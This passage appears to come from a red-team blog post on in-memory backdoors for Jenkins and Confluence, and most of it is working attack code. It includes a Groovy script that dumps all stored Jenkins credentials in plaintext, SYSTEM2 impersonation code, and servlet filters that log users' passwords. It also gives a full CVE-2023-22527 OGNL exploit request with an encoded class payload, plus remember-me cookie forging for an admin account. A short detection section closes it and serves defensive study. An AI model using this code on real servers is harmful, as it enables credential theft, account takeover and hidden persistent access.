import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl
import com.cloudbees.plugins.credentials.common.StandardCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
import org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl
import com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl
import hudson.model.ItemGroup

def stringify(c) {
  switch(c) {
    case BasicSSHUserPrivateKey:
      	return String.format("id=%s desc=%s passphrase=%s keys=%s", c.id, c.description, 
            c.getPassphrase() != null ? c.getPassphrase().getPlainText() : '', c.privateKeySource.getPrivateKeys())
    case UsernamePasswordCredentialsImpl:
      	return String.format("id=%s desc=%s user=%s pass=%s", c.id, c.description, 
            c.username, c.password != null ? c.password.getPlainText() : '')
    case FileCredentialsImpl: 
      	is = c.getContent()
        if(is != null){
          byte[] buf = new byte[is.available()]
    	  is.read(buf);
          content = buf.encodeBase64().toString()
        } else {
          content = '';
        }
        return String.format("id=%s desc=%s filename=%s content=%s", c.id, c.description, 
            c.getFileName(), content)
    case StringCredentialsImpl:
      	return String.format("id=%s desc=%s secret=%s", c.id, c.description, 
            c.getSecret() != null ? c.getSecret().getPlainText() : '')
    case CertificateCredentialsImpl:
        source = c.getKeyStoreSource()
        if (source != null)
            content = source.getKeyStoreBytes().encodeBase64().toString()
        else 
            content = ''
      	return String.format("id=%s desc=%s password=%s keystore=%s", c.id, c.description, 
            c.getPassword() != null ? c.getPassword().getPlainText() : '', content)
    default:
        return 'Unknown type ' + c.getClass().getName()
  }
}

for (group in Jenkins.instance.getAllItems(ItemGroup)) {
  println "============= " + group
  for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, group))
     println stringify(cred)
}
println "============= Global"
for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, Jenkins.instance, null, null))
  println stringify(cred)

Implementing a feature to execute Groovy scripts can be really useful, especially when the in-memory webshell was injected by exploiting one of the RCE chains mentioned before, as the injected code would be executed from the context of an unauthenticated user. To be able to perform privileged operations on Jenkins from Groovy scripts, this feature should be adapted to impersonate a privileged user.

Actually, Jenkins internally defines a specific authenticated user, named SYSTEM2, that is granted all privileges. Authentication on Jenkins is performed by using the Authentication core feature of Spring.

The currently authenticated user is stored on a Spring SecurityContext, where its current instance can be retrieved from the SecurityContextHolder.

Replacing the current Authentication instance from null or ANONYMOUS on the SecurityContext is sufficient to impersonate the SYSTEM2 user:

String script = (String) args.get("script");

ClassLoader ctxLoader = Thread.currentThread()
  .getContextClassLoader();

Object SYSTEM2 = ctxLoader.loadClass("hudson.security.ACL")
  .getField("SYSTEM2").get(null);

Object securityCtx = ctxLoader
  .loadClass("org.springframework.security.core.context.SecurityContextHolder")
  .getMethod("getContext").invoke(null);
Class authClass = ctxLoader.loadClass("org.springframework.security.core.Authentication");
Object oldAuth = securityCtx.getClass().getMethod("getAuthentication")
  .invoke(securityCtx);
Method setAuth = securityCtx.getClass()
  .getMethod("setAuthentication", new Class[]{ authClass });
try {
  // Impersonate SYSTEM2 (full privileges)
  setAuth.invoke(securityCtx, SYSTEM2);

  Class scriptingKlass = ctxLoader.loadClass("hudson.util.RemotingDiagnostics$Script");
  Constructor scriptingConstructor = scriptingKlass
    .getDeclaredConstructors()[0];
  scriptingConstructor.setAccessible(true);
  Object scripting = scriptingConstructor.newInstance(script);
  Method call = scriptingKlass.getDeclaredMethod("call");
  call.setAccessible(true);
  String res = (String) call.invoke(scripting);
  result.put("res", res);
} finally {
  //revert auth context
  setAuth.invoke(securityCtx, oldAuth);
}

From there, Groovy scripts will be executed with full privileges, whether the user sending the HTTP request to the webshell was already authenticated or not.

Intercepting credentials

Finally, as for Bitbucket, Jenkins uses the /j_spring_security_check endpoint to authenticate its users, and an LDAP directory can be configured. From our custom Filter, we can easily intercept such requests and log the plaintext credentials:

public class CustomFilter implements Filter {
  // [...]
  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    try {
      HttpServletRequest request = (HttpServletRequest) servletRequest;
      HttpServletResponse response = (HttpServletResponse) servletResponse;

      if (/* [...] */) {
        // [...]
      } else if (request.getRequestURI().equals("/j_spring_security_check") 
            && request.getMethod().equalsIgnoreCase("POST") 
            && request.getParameter("j_username") != null 
            && request.getParameter("j_password") != null) {
        logCredentials(request.getParameter("j_username"), request.getParameter("j_password"));
      }
    } catch (Exception ignored) {
    }
    if (filterChain != null) {
      filterChain.doFilter(servletRequest, servletResponse);
    }
  }
  // [...]
}

Loading through a template injection

Confluence is a collaborative workspace software developed by Atlassian. It is designed to help teams collaborate and share knowledge effectively. Confluence provides a platform for creating, organizing, and discussing content such as documents, spreadsheets, project plans, meeting notes, and more. It is often used in conjunction with other Atlassian products like Jira, Bitbucket, and Trello to facilitate collaboration across different aspects of software development and project management.

Context

During January 2024, an SSTI vulnerability referenced as CVE-2023-22527 affecting Confluence Data Center was disclosed. This vulnerability can be exploited without prior authentication by sending a request to the text-inline.vm Velocity template. This template performs a direct OGNL (Object-Graph Navigation Language) expansion from request parameters using the findValue method. An explanation of the root cause and a PoC are provided in this article16.

This vulnerability could be used to compromise the server hosting it, and to perform network pivoting. However, as for Bitbucket, if this application hosts sensitive assets and is still used by legitimate users, it may be interesting to first compromise it and the assets it hosts. Moreover, if outgoing traffic is filtered, and if the application is executed as an unprivileged user, it may be necessary to exfiltrate data using the application itself.

The easiest way to compromise it would be to interact with its runtime, through Java code. Confluence internally uses the following dependencies:

  • Struts2.
  • Tomcat embedded.
  • Spring.

Exploiting this vulnerability to inject an in-memory payload is already described in this blog post17 and in a PoC18. However, we will demonstrate a slightly different method.

Injecting an in-memory payload

In the following request, we are using OGNL shenanigans to bypass the length limitation, without extending the length limit:

POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1341
Connection: close

name=Main33&label=<@urlencode>text\u0027+(#p=#parameters[0]),(#o=#request[#p[0]].internalGet(#p[1])),(#i=0),(#v=#{}),(#parameters[1].{#v[#i-1]=#o.findValue(#parameters[1][(#i=#i+1)-1],#{0:#parameters,1:#v})})+\u0027<@/urlencode>&0=.KEY_velocity.struts2.context&0=ognl&1=@Thread@currentThread().getContextClassLoader()&1=@java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])&1=new+net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})&1=@org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")&1=#root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()&clazz=<@urlencode>yv66vgAAAD0AIQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAAtDb25zdHJ1Y3RvcgoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAFgEADFN0YXRpYyBibG9jawcAGAEABk1haW4zMwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITE1haW4zMzsBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAtNYWluMzMuamF2YQAhABcAAgAAAAAAAgABAAUABgABABkAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAaAAAADgADAAAAAgAEAAMADAAEABsAAAAMAAEAAAANABwAHQAAAAgAHgAGAAEAGQAAACUAAgAAAAAACbIABxIVtgAPsQAAAAEAGgAAAAoAAgAAAAcACAAIAAEAHwAAAAIAIA==<@/urlencode>

This payload is divided into four parts:

  1. The label parameter exploiting the OGNL injection and escaping the restricted Struts2 context.
  2. The POST parameter array 0, making the label payload shorter.
  3. The POST parameter array 1, defining the complex payload finally executed.
  4. Supplementary POST parameters, used to pass parameters to the step 3 payload (such as clazz and name).

In a more readable way, the label parameter injects the following OGNL payload:

// #parameters[0] = {".KEY_velocity.struts2.context", "ognl"}
// #parameters[1] = {"3*6", "@System@out.println(#root[1][0])"}

#p = #parameters[0]
#o = #request[#p[0]].internalGet(#p[1])
#i = 0
#v = #{}
#parameters[1].{ 
  #v[#i-1] = #o.findValue(
    #parameters[1][(#i = #i + 1) - 1],
    #{0:#parameters, 1:#v}
  )
}

It escapes the sandbox, and uses collection projections with a delegate (cf. documentation and this blog post19) in order to evaluate each element (or payload line) of the POST parameter array 1. The label payload also stores the result of each previous line executed outside the sandbox, and passes this result array in the parameter #root[1]. Finally, it passes POST parameters of the current request in #root[0].

Even though the Struts2 context is escaped, the OgnlRuntime class still restricts which methods can be invoked:

package ognl;
// [...]
public class OgnlRuntime {
  // [...]
  public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
    if (_useStricterInvocation) {
      Class methodDeclaringClass = method.getDeclaringClass();
      if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)
          || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) 
          || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) 
          || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) 
          || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) 
          || ClassResolver.class.isAssignableFrom(methodDeclaringClass) 
          || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) 
          || MemberAccess.class.isAssignableFrom(methodDeclaringClass) 
          || OgnlContext.class.isAssignableFrom(methodDeclaringClass) 
          || Runtime.class.isAssignableFrom(methodDeclaringClass) 
          || ClassLoader.class.isAssignableFrom(methodDeclaringClass) 
          || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) 
          || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
        throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
      }
    }
  // [...]
}

It can be easily bypassed by calling MethodInvocationUtils of Spring.

The final payload, stored in the POST parameter array 1, injects custom classes using ByteArrayClassLoader which is included by Confluence, and MethodInvocationUtils of Spring to call the filtered method loadClass of ClassLoader:

#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")
#root[1][4] = #root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()

This payload can be extended to define as many classes as required, specified in the POST parameter arrays classes and names:

#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder()
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],false,#{})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"defineClass","","".getBytes()).getMethod()
#root[1][4] = #root[(#k=0)]['classes'].{#root[1][3].invoke(#root[1][2],#root[0]['names'][(#k=#k+1)-1],#root[1][1].decode(#root[0]['classes'][#k-1]))}
#root[1][5] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","").getMethod()
#root[1][6] = #root[1][5].invoke(#root[1][2],#root[0]['main'][0]).newInstance()

Note that scripting engines could also be used here to completely bypass the sandbox, as long as they are loaded by Confluence. A PoC on GitHub20 and a write-up21 were relying on the JavaScript ScriptingEngine to exploit CVE-2022-26134 and to inject a custom class at runtime. However, such engines seem to be no longer available by default on Confluence and JDK 17.

Interacting with Confluence

Similar to Bitbucket, Confluence is a product developed by Atlassian, and we can identify certain resemblances between them. It is worth noting that other researchers have previously published22 23 examples of Java classes aiming at executing post-exploitation attacks.

Injecting an in-memory backdoor into Confluence can leverage the same technique outlined in the Bitbucket section. Since Confluence is built on Tomcat, the process involves registering a new Valve, enabling to utilize the existing code base for injecting the backdoor. From the exploitation of the SSTI presented in the previous section, one can access the StandardContext of Tomcat by leveraging Struts2's ServletActionContext. Indeed, the latter being accessible from a thread processing a web request, a reference to the StandardContext instance can be obtained by doing some reflection on different fields.

ServletContext svlCtx = ServletActionContext.getRequest().getServletContext();
Field field = svlCtx.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(svlCtx);

field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
return (StandardContext)field.get(applicationContext);

With a reference on this context, a Valve can be registered as previously described.

However, there is a notable difference between Bitbucket and Confluence regarding their approach to access components. While Bitbucket utilizes the @Service annotation from the Spring framework to inject dependencies, Confluence adopts an instance manager. The primary component facilitating access to various classes within the application is the ContainerManager. It maintains references to instances of other classes, which can be statically retrieved through it, as demonstrated below:

UserAccessor userAccessor = (UserAccessor) ContainerManager.getComponent("userAccessor");
for (User user : userAccessor.getUsers()) {
    System.out.println(user.getName())
}

This allows us to access and interact with any Confluence component.

Generating authentication cookies

Using the ContainerManager class, we can access different classes to generate remember-me cookies as it was done for Bitbucket. This technique was already published on two GitHub repositories22 23.

By accessing the RememberMeTokenDao class, we can generate new remember-me cookies for arbitrary users:

DefaultRememberMeTokenGenerator generator = new DefaultRememberMeTokenGenerator();
RememberMeConfiguration config = (RememberMeConfiguration) ContainerManager
  .getComponent("rememberMeConfig");

RememberMeToken token = ((RememberMeTokenDao) ContainerManager.getComponent("rememberMeTokenDao"))
  .save(generator.generateToken("admin"));

String cookie = String.format("%s=%s", 
  config.getCookieName(), 
  URLEncoder.encode(String.format("%s:%s", save.getId(), save.getRandomString()))
);
// seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df

This cookie can then be used to obtain an authenticated session and to administrate the application:

$ curl -kIs -b "seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df" http://confluence.local:8090/admin/users/browseusers.action
HTTP/1.1 200 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1712744566388
Set-Cookie: JSESSIONID=960285A70EAA39C4F21CAE9530A873F3; Path=/; HttpOnly
X-Seraph-LoginReason: OK
X-AUSERNAME: admin

Intercepting credentials

For Confluence, the authentication form uses the /dologin.action endpoint. For example, when the form is submitted, the following request is performed:

POST /dologin.action HTTP/1.1
Host: confluence.local:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
[...]

os_username=admin&os_password=admin&login=Log+in&os_destination=%2Findex.action

Credentials can be intercepted from the backdoor by extracting the right parameters, as it was done for Bitbucket and Jenkins:

Map<String, Object> creds = new HashMap<>();
creds.put("user", request.getParameter("os_username"));
creds.put("password", request.getParameter("os_password"));

Detection

For blue teamers, identifying an in-memory webshell can be challenging since there are no traces left on the disk. This implies that the only method to detect such payloads is through behavioral analysis, which is inherently difficult. Monitoring sub-processes of these software instances is a good approach, as it can assist in capturing commands executed by the application, from ProcessBuilder or Runtime.getRuntime().exec(...).

If you suspect a potential compromise of a server hosting Java applications, it is feasible to extract sensitive classes using the copagent24 tool. Interestingly, the latter also harnesses the capabilities of a Java agent to extract all loaded classes:

$ java -jar cop.jar -p 7
[INFO] Java version: 17
[INFO] args length: 2
[INFO] Java version: 17
[INFO] args length: 4
[INFO] Try to attach process 7, please wait a moment ...

The tool has a built-in list of sensitive classes to extract:

List<String> riskSuperClassesName = new ArrayList<String>();
riskSuperClassesName.add("javax.servlet.http.HttpServlet");

List<String> riskPackage = new ArrayList<String>();
riskPackage.add("net.rebeyond.");
riskPackage.add("com.metasploit.");

List<String> riskAnnotations = new ArrayList<String>();
riskAnnotations.add("org.springframework.stereotype.Controller");
[...]

When a class matches, it is extracted locally and added to the .copagent/results.txt file. Here is an example of two classes loaded by our backdoor, and since they extend the javax.servlet.Filter class, they are extracted:

[...]
order: 281
name: org.foo.bar.Class1
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class1.java
hashcode: 6e6bb856
classloader: org.foo.bar.a.a
extends     : org.foo.bar.a.a@8f2ef92

order: 282
name: org.foo.bar.Class2
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class2.java
hashcode: 66bd3ba5
classloader: org.foo.bar.a.a
extends     : org.foo.bar.a.a@8f2ef92
[...]

Note the risk level score is based on some method calls performed by the class:

List<String> riskKeyword = new ArrayList<String>();
riskKeyword.add("javax.crypto.");
riskKeyword.add("ProcessBuilder");
riskKeyword.add("getRuntime");
riskKeyword.add("shell");

The compiled classes are then accessible locally:

$ ll class/org.foo.bar.a.a-8f2ef92/org/foo/bar/
total 16
4 drwxr-x--- 2 confluence confluence 4096 Apr 10 14:26 .
4 drwxr-x--- 3 confluence confluence 4096 Apr 10 14:26 ..
4 -rw-r----- 1 confluence confluence 3285 Apr 10 14:42 Class1.class
4 -rw-r----- 1 confluence confluence 1377 Apr 10 14:42 Class2.class

Conclusion

We recently employed these methods during red team engagements, and the credential interception aspect proved highly valuable, significantly helping our intrusion efforts. Ultimately, we were successful in obtaining credentials belonging to privileged users. Given that certain services may be associated with an Active Directory, acquiring them could potentially grant privileged access to the internal network.

For blue teams, identifying this type of backdoor presents a considerable challenge, although it can be achieved through certain tools, even if the process is manual and time-consuming. Such attacks have already been observed25 17 in real-world scenarios and attackers may have already used such backdoors. These types of software are frequently targeted by attackers due to the wealth of information they contain, which can be leveraged to continue an intrusion or exfiltrate sensitive data.